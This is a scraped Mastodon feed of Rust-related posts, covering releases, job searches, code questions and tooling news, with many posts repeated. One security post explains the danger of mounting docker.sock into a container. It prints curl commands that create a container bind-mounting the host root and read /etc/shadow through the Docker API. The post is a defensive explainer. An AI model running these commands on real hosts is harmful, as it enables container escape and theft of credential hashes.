Command output of running cargo clippy build, showing how Clippy lints executed, but a binary was also generated. A mix of Clippy's capabilities and the normal cargo build
ALT text

Command output of running cargo clippy build, showing how Clippy lints executed, but a binary was also generated. A mix of Clippy's capabilities and the normal cargo build

@mre@mastodon.social

I've been seeing some interesting takes on recent Rust adoption (git adding Rust components, Canonical shipping Rust coreutils in Ubuntu 25.10).

The conspiracy theories are... something else. Apparently it's all coordinated by "Big Rust."

Just for fun, I ended up writing down my thoughts on the most common arguments I keep seeing. Turns out, most of them don't hold up when you take a closer look.

endler.dev/2025/choosing-rust/

endler.dev

On Choosing Rust | Matthias Endler

Since my professional writing on Rust has moved…

Currently working on a fairly awaited feature, running Clippy as an add-on with `cargo build` and `cargo test`!

This change will heavily impact how your Clippy workflow works, specially on CI. You'll no longer have to separate your linting from your testing, saving invaluable CI time!

(A more detailed blog post on the Rust [Inside?] blog will probably come soon after the feature is merged)

Command output of running cargo clippy build, showing how Clippy lints executed, but a binary was also generated. A mix of Clippy's capabilities and the normal cargo build
ALT text

Command output of running cargo clippy build, showing how Clippy lints executed, but a binary was also generated. A mix of Clippy's capabilities and the normal cargo build

@maik@norden.social

Verschiedene -Infrastrukturanbieter, darunter die Foundation und die Foundation, fordern eine Neubewertung der Finanzierung ihrer stark ausgelasteten Basisdienste. Ziel ist ein faireres Finanzmodell, das den wachsenden Kosten und staatlichen Anforderungen gerecht wird. Kommerzielle Unternehmen könnten künftig mehr beitragen müssen.
heise.de/news/Rust-Python-und-

heise.de

Alle profitieren, kaum jemand trägt bei: Open-Source-Projekte rufen um Hilfe

In einer gemeinsamen Erklärung fordern gewichtige Open-Source-Anbieter, die Finanzierung ihrer Infrastruktur auf neue Beine zu stellen.

@mre@mastodon.social

I've been seeing some interesting takes on recent Rust adoption (git adding Rust components, Canonical shipping Rust coreutils in Ubuntu 25.10).

The conspiracy theories are... something else. Apparently it's all coordinated by "Big Rust."

Just for fun, I ended up writing down my thoughts on the most common arguments I keep seeing. Turns out, most of them don't hold up when you take a closer look.

endler.dev/2025/choosing-rust/

endler.dev

On Choosing Rust | Matthias Endler

Since my professional writing on Rust has moved…

@edward@indieweb.social

A couple weeks ago there was a post from someone talking about how they used for municipal and governmental org projects. And not because of its safety features, but because you can ship and deploy using a single binary so the hosting complexity is so low.

Anyone know what I'm referring to? I can't find the post.

@pointlessone@status.pointless.one

spectrum.ieee.org/top-programm

is within top 20 in all rankings.

However, is higher. And I feel Rust’s on the upward trajectory while Ruby’s not so much.

Python is an amazing phenomenon. It’s amazing how Ruby being conceptually very similar and, arguably, better in many regards languages managed to miss on all fronts. It missed the scientific community’s adoption. Python was the language for scientific calculations and statistics for a long time. And now it became the AI language. Ruby stayed the Rails language.

spectrum.ieee.org

AI Is Redefining the Concept of a Programming Language's Popularity

Python reigns supreme again, but is AI changing the game for programming languages? Find out how coding is transforming.

@haydntrowell@mastodon.social

Ready to share a preview of my first app, which I've been working on in my spare time for a while now, a GTK-based Typst editor called Typesetter.

It's designed to be clean, simple, and local-first, with syntax highlighting and live preview.

No Flatpak release yet, but you can clone the repository and give it a whirl in GNOME Builder if you're so inclined.

codeberg.org/haydn/typesetter

Still a work in progress. Contributions, bug reports, and ideas are welcome!

@heisedeveloper@social.heise.de
@savanni@hachyderm.io

Hey, everyone! This Friday will be my last day at 1Password.

I have interviews in progress, and some of them are rather exciting.

But... are there any companies hiring? I have five years of professional Rust experience and seven years of hobbyist experience. I am capable of both Senior engineering roles and Staff engineering roles, though my preference is more for a Senior role.

I'd be super excited to be doing Rust work in something like healthcare, climate change, or as support for a laboratory application.

@heisedeveloper@social.heise.de
@kernellogger@hachyderm.io

From the mailing list:

Introduce and announce that it will become mandatorty

lore.kernel.org/git/20250904-b

Patrick Steinhardt writes: ""This small patch series introduces Rust into the core of Git. This patch series is designed as a test balloon, similar to how we introduced test balloons for C99 features in the past. The goal is threefold:

- Give us some time to experiment with Rust and introduce proper build infrastructure.

- Give distributors time to ease into the new toolchain requirements. Introducing Rust is impossible for some platforms and hard for others.

- Announce that Git 3.0 will make Rust a mandatory part of our build infrastructure.

[…]""

Screenshot from the linked page
ALT text

Screenshot from the linked page

@arichtman@eigenmagic.net

Is it possible to bind explicit lifetimes /between/ struct fields? Or only between structs themselves and their fields like a parent-child thing?

I want a master vector of actual resources and a hashmap where the values are references back into the master vector.

Idk I'm probably approaching this wrong

struct MyStruct<'owner> {
    map_of_references: HashMap<String, &'owner String>,
    master_collection: Vec<String<'owner>>,
}
ALT text

struct MyStruct<'owner> { map_of_references: HashMap<String, &'owner String>, master_collection: Vec<String<'owner>>, }

@kernellogger@hachyderm.io

From the mailing list:

Introduce and announce that it will become mandatorty

lore.kernel.org/git/20250904-b

Patrick Steinhardt writes: ""This small patch series introduces Rust into the core of Git. This patch series is designed as a test balloon, similar to how we introduced test balloons for C99 features in the past. The goal is threefold:

- Give us some time to experiment with Rust and introduce proper build infrastructure.

- Give distributors time to ease into the new toolchain requirements. Introducing Rust is impossible for some platforms and hard for others.

- Announce that Git 3.0 will make Rust a mandatory part of our build infrastructure.

[…]""

Screenshot from the linked page
ALT text

Screenshot from the linked page

@arichtman@eigenmagic.net

Okay I'm stumped. I'm trying to abstract over some calls that return variations of `tonic::Response<>` using an empty extension trait, but the compiler has (understandably) given up and is just giving a fairly generic error message.

"mismatched types: type parameters must be constrained to match other types"

- Empty extension trait - check
- Function signature uses `tonic::Response<NodeGroupTemplateNodeInfoResponse>` - check
- Implemented extension trait for `tonic::Response<super::NodeGroupTemplateNodeInfoResponse>` - check

Is this the right approach even?

I want to `match` on CLI subcommands and make client calls but they all return different variants of `tonic::Response`

Do I just need totally different code arms?

trait MyExtension {}

impl MyExtension for tonic::Response<NodeGroupTemplateNodeInfoResponse> {}

async fn abstract_over_futures<T, U>(client: CloudProviderClient<Channel>, subcommand: MySubcommand) -> T
where
  T: Future<Output = Result<U, tonic::Status>>,
  U: MyExtension
 {
  match subcommand {
      MySubcommand::NodeGroups(r) => match r {
          NodeGroupAction::GetNodeTemplate { id } => client.node_group_template_node_info(NodeGroupTemplateNodeInfoRequest{id}),
          _ => todo!(),
      },
      _ => client.cleanup(CleanupRequest{}),
  }
 }
ALT text

trait MyExtension {} impl MyExtension for tonic::Response<NodeGroupTemplateNodeInfoResponse> {} async fn abstract_over_futures<T, U>(client: CloudProviderClient<Channel>, subcommand: MySubcommand) -> T where T: Future<Output = Result<U, tonic::Status>>, U: MyExtension { match subcommand { MySubcommand::NodeGroups(r) => match r { NodeGroupAction::GetNodeTemplate { id } => client.node_group_template_node_info(NodeGroupTemplateNodeInfoRequest{id}), _ => todo!(), }, _ => client.cleanup(CleanupRequest{}), } }

        pub async fn node_group_template_node_info(
            &mut self,
            request: impl tonic::IntoRequest<super::NodeGroupTemplateNodeInfoRequest>,
        ) -> std::result::Result<
            tonic::Response<super::NodeGroupTemplateNodeInfoResponse>,
            tonic::Status,
        >
ALT text

pub async fn node_group_template_node_info( &mut self, request: impl tonic::IntoRequest<super::NodeGroupTemplateNodeInfoRequest>, ) -> std::result::Result< tonic::Response<super::NodeGroupTemplateNodeInfoResponse>, tonic::Status, >

https://codeberg.org/arichtman/autosshcaler/src/commit/1a48a6e3e91f77c32296c91c2d345d0812615377/src/client.rs#L81
ALT text

https://codeberg.org/arichtman/autosshcaler/src/commit/1a48a6e3e91f77c32296c91c2d345d0812615377/src/client.rs#L81

@Cfkschaller@fosstodon.org
@Cfkschaller@fosstodon.org
@trevorflowers@machines.social

Rocket.rs seems to be abandoned (bummer) so I'm looking for a new web backend written in Rust. Poem seems to be active and used on a few production sites. Is that the current fav among web-ish rustaceans? 🤷‍♂️
github.com/poem-web/poem

github.com

GitHub - poem-web/poem: A full-featured and easy-to-use web framework with the Rust programming language.

A full-featured and easy-to-use web framework with the Rust programming language. - poem-web/poem

@meka@bsd.network

I started poking libraries and so far iced seams OK. What other libs people like? I can't use immediate mode libs because the data I am trying to display is behind the lock, otherwise ImGui is great, too. Anyway, if you have suggestions on what to try next, please do tell me. Just in case it matters, the app currently runs only on (once I am confident the architecture is OK I will port it to Linux) so that OS has to be supported.

@nlnetlabs@social.nlnetlabs.nl

Tuesday, we dropped our report with insights from 16 top-level domain operators.

Yesterday, we launched Cascade — NLnet Labs’ Rust-built successor to OpenDNSSEC, shaped by what keeps TLDs up at night.

Today, we’re kicking off a series of ultrashort videos where @benno and @alexband break down what makes Cascade different.

First up: the #1 request from the community — observability, please.

We heard you.

🎥. youtu.be/CgmVjLv-fy4

youtube.com

Cascade - How Did TLD Insights Shape Cascade

Alex Band explains how research insights from 16 TLDs has shaped Cascade

@nlnetlabs@social.nlnetlabs.nl

Tuesday, we dropped our report with insights from 16 top-level domain operators.

Yesterday, we launched Cascade — NLnet Labs’ Rust-built successor to OpenDNSSEC, shaped by what keeps TLDs up at night.

Today, we’re kicking off a series of ultrashort videos where @benno and @alexband break down what makes Cascade different.

First up: the #1 request from the community — observability, please.

We heard you.

🎥. youtu.be/CgmVjLv-fy4

youtube.com

Cascade - How Did TLD Insights Shape Cascade

Alex Band explains how research insights from 16 TLDs has shaped Cascade

@jacket@tech.lgbt

This is not helping me in the market but what I love doing the most is computer language engineering. I'm learning how to write an right now to support my born language in neovim. I also discovered recently. It lets you compile to any target from a generic ASM. It made me realize something. The first languages where all compiled. Then, we got the interpreted languages. But recently, the new languages are all compiled again! Think of , , , . I wonder if it's because we perfected the tooling in a way that maintaining a compiled language is not that hard anymore. Go is a weird one. It has a garbage collector. Yeah! A compiled language with a garbage collector. It means that there is a process that is embedded in the executable to just do garbage collection. We might now have a real reason anymore to interpret.

@me_@sueden.social
@phranck@nerdculture.de

Die Suche nach einem und/oder Job scheint momentan echt aussichtslos. Von daher versuch ich es einfach mal im .

Also, wenn jemand jemanden kennt, der jemanden kennt, der einen Job als Backend-Entwickler zu vergeben hat, ich bin fuer eine Remote-Festanstellung bereit. kann ich, oder wuerde ich lernen muessen (und wollen!). Aber bitte *kein* Java.

Ihr duerft das gerne Teilen. Danke.
:boost_ok:

@untitaker@gts.woodland.cafe

Just finished moving a small #Rust CLI tool from GitHub to #codeberg.

* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.

here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows

overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.

#rustlang #codeberg

github.com

spacemod/.github/workflows at main · untitaker/spacemod

MOVED TO CODEBERG. Contribute to untitaker/spacemod development by creating an account on GitHub.

@untitaker@gts.woodland.cafe

Just finished moving a small #Rust CLI tool from GitHub to #codeberg.

* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.

here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows

overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.

#rustlang #codeberg

github.com

spacemod/.github/workflows at main · untitaker/spacemod

MOVED TO CODEBERG. Contribute to untitaker/spacemod development by creating an account on GitHub.

@untitaker@gts.woodland.cafe

Just finished moving a small #Rust CLI tool from GitHub to #codeberg.

* issues, etc were migrated perfectly
* for ci and releases, I had to ditch cargo-dist and replace it with a simpler action that just publishes binaries as release artifacts
* forgejo actions is very similar to GitHub actions, many actions from GitHub like dtolnay/rust-toolchain just work on codeberg.
* for MacOS and Windows builds I'm now crosscompiling on Linux
* self-hosted runners to reduce the load on codeberg, but I think I could've used codebergs.

here's the actions:
https://codeberg.org/untitaker/spacemod/src/branch/main/.forgejo/workflows
compare with: https://github.com/untitaker/spacemod/tree/main/.github/workflows

overall 6/10 experience, it works really well but it wasn't obvious figuring out the best path. woodpecker feels like a distraction.

#rustlang #codeberg

github.com

spacemod/.github/workflows at main · untitaker/spacemod

MOVED TO CODEBERG. Contribute to untitaker/spacemod development by creating an account on GitHub.

@michalfita@mastodon.social

@ianthetechie I'm working on a training for ++ developers and I realised now even more how "beauty" of Rust outperforms C++ in terms of efficient development effort; I wonder if my material is going to be able to demonstrate that nicely.

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

niri v25.08 is now released with a logo, xwayland-satellite integration, basic screen reader support, NVIDIA screencast flickering fix, window positions and sizes in IPC, and many other improvements! :ablobcatbongo:

Read the notes here: github.com/YaLTeR/niri/release

now i need at least a month off from any release notes preparation 😴

niri full-sized logo. It's the word niri but the i dots are candle flames.
ALT text

niri full-sized logo. It's the word niri but the i dots are candle flames.

@bbatsov@hachyderm.io
@blp@framapiaf.org

I wish there was something that was the opposite of `is_empty()` for many types, because 99% of the time I write `!is_empty()` and so often would be nice to be able to write something like `foo.is_nonempty().then(|| ...)`, whereas `(!foo.is_empty()).then(|| ...)` looks bad to my eyes.

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.

ItSec (walking by): Guys... a quick test. From inside that container, run:

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 

If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...

devops0: So what? What does it mean?

Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:

# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:

# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root

# apt update && apt install -y curl

curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'

# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:

# Read /etc/shadow of Docker Host using only curl, step 1:

curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'

# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'

Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).

And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.

[1] docs.docker.com/reference/cli/
[2] docs.docker.com/engine/api/

Other grumpy stories:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1

grumpy cat
ALT text

grumpy cat

@blp@framapiaf.org

I wish there was something that was the opposite of `is_empty()` for many types, because 99% of the time I write `!is_empty()` and so often would be nice to be able to write something like `foo.is_nonempty().then(|| ...)`, whereas `(!foo.is_empty()).then(|| ...)` looks bad to my eyes.

@imperio@toot.cat
@imperio@toot.cat
@ekuber@hachyderm.io

Wanted: a tool with 4 panes:
- desired generated code
- an in progress proc-macro being written
- input code where the proc-macro is being applied
- a live updating view of the actual generated code with diff annotations against what was desired

If you want to go fancier, tie things in the output to the input and provide suggestions on where things are missing pre-expansion for the output to march the expectation. I feel like 90% of this can be accomplished today with tmux+a file watcher+direct rustc invocations using -Zunpretty=expanded, but it'd be lovely to have an actual tool for this.

@imperio@toot.cat
@j_g00da@fosstodon.org

Working on a battle system for

It's a post-apocalyptic RPG, where
you play as a guilt-ridden exile, who tries to maintain their sanity while traversing a dying forest trying to find an ancient machine that can manipulate reality.

RPG battle with Ratatui UI, You and Puter are fighting a Demon Core. Background is red static noise.
ALT text

RPG battle with Ratatui UI, You and Puter are fighting a Demon Core. Background is red static noise.

@j_g00da@fosstodon.org

Working on a battle system for

It's a post-apocalyptic RPG, where
you play as a guilt-ridden exile, who tries to maintain their sanity while traversing a dying forest trying to find an ancient machine that can manipulate reality.

RPG battle with Ratatui UI, You and Puter are fighting a Demon Core. Background is red static noise.
ALT text

RPG battle with Ratatui UI, You and Puter are fighting a Demon Core. Background is red static noise.

@imperio@toot.cat
@nik@toot.teckids.org

The card payment terminals seem to be quite popular, also among communities taking donations, e.g. at .

For @Teckids , I made a small stand-alone POS frontend, so we can take card payments and display QR codes for receipts to customers while avoiding the proprietary Google Play app and not passing on customers' e-mail addresses to SumUp.

It's very basic for now, but find it here:

codeberg.org/Natureshadow/pumus

Screenshot of Pumus, showing a dialog telling that:

Successful

The transaction was completed.

and showing a QR code.
ALT text

Screenshot of Pumus, showing a dialog telling that: Successful The transaction was completed. and showing a QR code.

@nik@toot.teckids.org

The card payment terminals seem to be quite popular, also among communities taking donations, e.g. at .

For @Teckids , I made a small stand-alone POS frontend, so we can take card payments and display QR codes for receipts to customers while avoiding the proprietary Google Play app and not passing on customers' e-mail addresses to SumUp.

It's very basic for now, but find it here:

codeberg.org/Natureshadow/pumus

Screenshot of Pumus, showing a dialog telling that:

Successful

The transaction was completed.

and showing a QR code.
ALT text

Screenshot of Pumus, showing a dialog telling that: Successful The transaction was completed. and showing a QR code.

@kenjen@pdx.social

- Software engineer/developer
- Preference for 3rd shift, but if I can work anywhere, I'll find a place to live to fit your schedule.
- holistic software development("full stack")
- References out the wazoo, especially from my most recent position.
- Any language, but I'm practiced in Java, , HTML, CSS, like , and have professional exp. in Java, SQL, PL/SQL, and BASH
- English, , , Français, et Español.

@zkat@toot.cat

Dear folks doing

What's your preferred way of having a single handler for multiple form submission types?

That is, let's say I have a settings page, and there's different "sections" to the settings, which all get handled differently, but I want the Form to get deserialized per usual?

Unfortunately, serde_html_form doesn't support deserializing enums for something like this? At least not out of the box?

@zkat@toot.cat

Excellent. Got this working in the server.

If you just wrap any plain <form> with <ajax-it>, it’ll submit that form as a fetch instead. Server-side, a middleware checks for a header and sets a flag, and you can use that to only partially render the response.

Without JS, you get the some whole page back, just like normal. With working JS, you only get the "patch", and then <ajax-it> overwrites the matching nodes.

This is a hybrid of htmx and htmz that uses a web component instead of a global thing with odd attribute annotations, and unlike htmz, lets you have programmatic lifecycle hooks, set that header so you can share the exact same endpoint, etc.

And it’s still just a tiny, plain, standalone Web Component with no deps. It's a couple of kb mingz, and I'll probably golf it around a bit to make it smaller.

an html template that conditionalizes rendering certain parts based on a flag
ALT text

an html template that conditionalizes rendering certain parts based on a flag

the entire response when the flag is enabled.
ALT text

the entire response when the flag is enabled.

@thomasmey@social.tchncs.de

Sorry people, but seems not yet to be enterprise ready: you cannot easily configure a proxy server or a mirror to use!

@eloquence@social.coop

I'm still new to the ecosystem but I can see why it's become so popular so quickly. Aside from the language itself, the tooling just makes sense - so far I've rarely gone "why would you do it that way?"

Contrast that with Python, where that question was basically constantly on my mind when I was finding my way around 6-7 years ago :P (it's gotten better since then, thankfully).

@zkat@toot.cat

Dear folks who use

Do you have a nice router crate you recommend? My use case here is that I have a lot of situations where I want to actually resolve routes (to generate links and the like) and I really dislike how untyped/unverified those random strings are.

crates.io/crates/axum-routes seems good, but it's somewhat low usage. Still, it's pretty small and seems to do exactly what I need (lets me keep separating route definition from handler definition, lets me do reverse lookups, does static route typing, etc)

@yossarian@infosec.exchange

zizmor 1.12 is released!

this release comes with a few big additions/enhancements:

- a new `unsound-condition` audit that checks for `if:` clauses that don't evaluate as expected
- the `insecure-commands`, `cache-poisoning` and `known-vulnerable-actions` audits now support auto-fixes
- `use-trusted-publishing` can now detect several more patterns, including `cargo publish` now that crates.io supports trusted publishing!

full notes including bugfixes here:

docs.zizmor.sh/release-notes/#

docs.zizmor.sh

Release Notes - zizmor

Abbreviated change notes about each zizmor release.

@yossarian@infosec.exchange

zizmor 1.12 is released!

this release comes with a few big additions/enhancements:

- a new `unsound-condition` audit that checks for `if:` clauses that don't evaluate as expected
- the `insecure-commands`, `cache-poisoning` and `known-vulnerable-actions` audits now support auto-fixes
- `use-trusted-publishing` can now detect several more patterns, including `cargo publish` now that crates.io supports trusted publishing!

full notes including bugfixes here:

docs.zizmor.sh/release-notes/#

docs.zizmor.sh

Release Notes - zizmor

Abbreviated change notes about each zizmor release.

@bal4e@tech.lgbt

I wrote a work-stealing task queue library for Rust! It's called takeaway, and I just published a version I think is ready for use. The only popular task queue library out there (for Rust) is crossbeam-deque; compared to it, takeaway provides a higher-level API with a lot more features. I wrote it as part of my very-very-WIP Rust compiler, which needed the unique feature of task prioritization; takeaway's since grown a lot, and manages competitive (if not better) performance to crossbeam-deque! You can find it at crates.io/crates/takeaway; I've also written a blog post about the design and implementation process, at bal-e.org/speed/krabby/takeaway. If you're writing a performance-intensive, task-based program in Rust, or if you're already using crossbeam-deque, please check it out.

@bal4e@tech.lgbt

I wrote a work-stealing task queue library for Rust! It's called takeaway, and I just published a version I think is ready for use. The only popular task queue library out there (for Rust) is crossbeam-deque; compared to it, takeaway provides a higher-level API with a lot more features. I wrote it as part of my very-very-WIP Rust compiler, which needed the unique feature of task prioritization; takeaway's since grown a lot, and manages competitive (if not better) performance to crossbeam-deque! You can find it at crates.io/crates/takeaway; I've also written a blog post about the design and implementation process, at bal-e.org/speed/krabby/takeaway. If you're writing a performance-intensive, task-based program in Rust, or if you're already using crossbeam-deque, please check it out.

@jrose@belkadan.com

#Rust lazyweb: if I use -> impl Into<MyError> as the return type for a function, I still can’t use ? syntax with it because ? is defined in terms of From, not Into. Is there a way to use the impl shorthand in terms of From instead? (Specifically in a trait! RPITIT is important here cause I don’t want to write the assoc type explicitly at all N use sites.)

Who tis? New number??

No, same old me but now a member of Embedded libs team. 😎

I hope to use my new super powers to help maintain the heapless crate better. Despite its popularity, the crate hasn't seen a release in over a year.

@zkat@toot.cat

I did a RIIR again and:

Two apps nearly-identical in functionality now. On startup, before processing anything:

+ : 3.5MB RES
+ : 75MB RES

Literally 20x difference, and I haven't even benchmarked throughput/perf. For a use case where a big goal is extremely low resource use, this is huge.

(both of these are running in release/prod mode btw)

@imperio@toot.cat

I just successfully built the Rust compiler with the GCC backend. One more step toward having GCC as an alternative backend codegen alongside LLVM and Cranelift. :)

If you want to try it out, here's the branch: github.com/GuillaumeGomez/rust

Instructions on how to build it:

  1. Enable gcc.download-ci-gcc = true and rust.codegen-backends = ["gcc"] in the boostrap.toml file in the rust repository.
  2. Run x.py build --stage 1

Then to run the new rustc:

LD_LIBRARY_PATH="build/{YOUR_ARCH}/ci-gcc/lib/:$LD_LIBRARY_PATH" ./build/{YOUR_ARCH}/stage1/bin/rustc

github.com

GitHub - GuillaumeGomez/rust at full-gcc

a safe, concurrent, practical language. Contribute to GuillaumeGomez/rust development by creating an account on GitHub.

@imperio@toot.cat

I just successfully built the Rust compiler with the GCC backend. One more step toward having GCC as an alternative backend codegen alongside LLVM and Cranelift. :)

If you want to try it out, here's the branch: github.com/GuillaumeGomez/rust

Instructions on how to build it:

  1. Enable gcc.download-ci-gcc = true and rust.codegen-backends = ["gcc"] in the boostrap.toml file in the rust repository.
  2. Run x.py build --stage 1

Then to run the new rustc:

LD_LIBRARY_PATH="build/{YOUR_ARCH}/ci-gcc/lib/:$LD_LIBRARY_PATH" ./build/{YOUR_ARCH}/stage1/bin/rustc

github.com

GitHub - GuillaumeGomez/rust at full-gcc

a safe, concurrent, practical language. Contribute to GuillaumeGomez/rust development by creating an account on GitHub.

@aesthr@wandering.shop

People who use a lot:
What's a bad coding behavior that Rust encourages?

Every language has at least one. Examples:

- C: arcane pointer arithmetic
- Ruby: disruptive monkey patching
- JS: nesting callbacks/promises (before async/await was a thing)
- Java: AsyncAbstractSingletonFactoryObserverFactoryProvider
- Perl: *!%^([@])

@j_g00da@fosstodon.org

Bryndza coming straight to your fridge!
(It’s no_std!)
We will be releasing beta soon.

Ratatui runs not only in terminal, but also in the browser, on PSP, Minecraft, UEFI, Suzuki Baleno and a guitar tuner. What’s next?

Rainbow Ratatui logo, v0.30.0 „Bryndza” below
ALT text

Rainbow Ratatui logo, v0.30.0 „Bryndza” below

@Jose_A_Alonso@mathstodon.xyz
@adam@nels.onl

Tried revisiting Ludwig (my Lemmy clone project) today. I've been experimenting with Cursor and AI-assisted development--yes, yes, I know, but it's actually nice for speeding up boilerplate tasks! And it's surprisingly good for C++... so long as you never trust it with memory management.

One thing I left unfinished was full-text search. I had a cobbled-together homegrown LMDB-based search index with sentencepiece as a tokenizer, but it barely works. So I decided to find a C++ embedded search library. And the pickings are slim.

First choice was CLucene, which sort of works. Cursor helped me figure out the barely-documented API, but also generated a bunch of use-after-frees that I had to sort out. CLucene is 15 years old and kind of works, but it also leaks memory like crazy and I can't find any way to fix it. Asan thinks the leaks are coming from within CLucene, so it's probably not my code?

I tried another over-a-decade-old project, Zettair (formerly Lucy). Cursor could translate the autotools build files to Meson, and it worked on the first try, nice! But Zettair can only index files, not in-memory strings...

What else is there? Xapian is GPL, and I want to keep the project Apache-2.0 licensed, so that's out. Pisa also can only load files and can't add new entries while running. Rust libraries like Tantivy would massively bloat the binary.

As a last resort, I started vibe-coding a translation of Sonic (a very cool Rust search engine that sadly can't be embedded) into a C library, and it didn't take too long to get something working! But it's still more yak shaving. I don't need it, I don't need it...

@mnvr@mastodon.social

Iterative fibonacci in , will be interesting if I can shorten it further!

fn fibi(n: u32) -> u64 {
let mut f = 1;
let mut pf = 1;
for _ in 2..n {
let t = pf;
pf = f;
f += t;
}
f
}

Driver:

fn main() {
for n in 1..=10 {
println!("{}\t{}\t{}", n, fib(n), fibi(n));
}
}

fn fib(n: u32) -> u32 {
if n < 3 { 1 } else { fib(n - 1) + fib(n - 2) }
}

@j_g00da@fosstodon.org

:ablobcatbongo: „Ratatui - Are We Embedded Yet?” talk is finally online!

I gave the same talk at Rust Gdansk 9 and Rust Poland 1, this recording is from the second meetup.

It’s my first talk (not counting lightning talks) and I struggle with public speaking :blobcatfakeverified: (trying to change that) but I hope you like it.

Btw. Terminal/presentation had to be re-recorded afterwards so that’s why typing is not in sync.

youtu.be/QPjojOuhbe8?si=X4-hPR

youtube.com

Rust Poland #1 - Are we embedded yet? | Jagoda Ślązak

Are we embedded yet?📣 Speaker: Jagoda Ślązak📅 2025-07-02📍 Przystanek Pireus, PoznańRatatui revolutionized terminal UIs in Rust—but what if we broke it out...

@j_g00da@fosstodon.org

:ablobcatbongo: „Ratatui - Are We Embedded Yet?” talk is finally online!

I gave the same talk at Rust Gdansk 9 and Rust Poland 1, this recording is from the second meetup.

It’s my first talk (not counting lightning talks) and I struggle with public speaking :blobcatfakeverified: (trying to change that) but I hope you like it.

Btw. Terminal/presentation had to be re-recorded afterwards so that’s why typing is not in sync.

youtu.be/QPjojOuhbe8?si=X4-hPR

youtube.com

Rust Poland #1 - Are we embedded yet? | Jagoda Ślązak

Are we embedded yet?📣 Speaker: Jagoda Ślązak📅 2025-07-02📍 Przystanek Pireus, PoznańRatatui revolutionized terminal UIs in Rust—but what if we broke it out...

@cmars@infosec.exchange
@Jose_A_Alonso@mathstodon.xyz
@froufox@techhub.social

what do you use for ? i'm currently on rustrover, but it's too slow, and i'm seeking an alternative. one of the features i like in jetbrains ides, and really need—browsing source code of your dependencies. couldn't find it in vscode. do you know any editors or vscode plugins which allow this?

@ekuber@hachyderm.io

When writing code as if it were a high-level language, what is your biggest annoyance/roadblock?
Put another way, what is the biggest thing that gets in the way of Rust feeling like Python or Swift to you?

@kirbylife@mstdn.mx

Les quería presumir mi tapete de hecho con telar de pedal.

Fotografía de un tapete artesanal hecho con telar de pedal.
En el telar se puede apreciar una ilustración de un cangrejo sosteniendo con una tenaza una bandera roja con un cangrejo dentro y con la otra en la cabeza como haciendo un saludo militar.
Debajo del cangrejo se muestran uos puños levantados, haciendo ver como una especie de saludo al cangrejo que está en la parte superior y hasta abajo se muestra el texto "Rewrite it in Rust".
Fuera del telar se muestra el libro "El lenguaje de programación Rust" en su edición 2018.
ALT text

Fotografía de un tapete artesanal hecho con telar de pedal. En el telar se puede apreciar una ilustración de un cangrejo sosteniendo con una tenaza una bandera roja con un cangrejo dentro y con la otra en la cabeza como haciendo un saludo militar. Debajo del cangrejo se muestran uos puños levantados, haciendo ver como una especie de saludo al cangrejo que está en la parte superior y hasta abajo se muestra el texto "Rewrite it in Rust". Fuera del telar se muestra el libro "El lenguaje de programación Rust" en su edición 2018.

@kirbylife@mstdn.mx

Les quería presumir mi tapete de hecho con telar de pedal.

Fotografía de un tapete artesanal hecho con telar de pedal.
En el telar se puede apreciar una ilustración de un cangrejo sosteniendo con una tenaza una bandera roja con un cangrejo dentro y con la otra en la cabeza como haciendo un saludo militar.
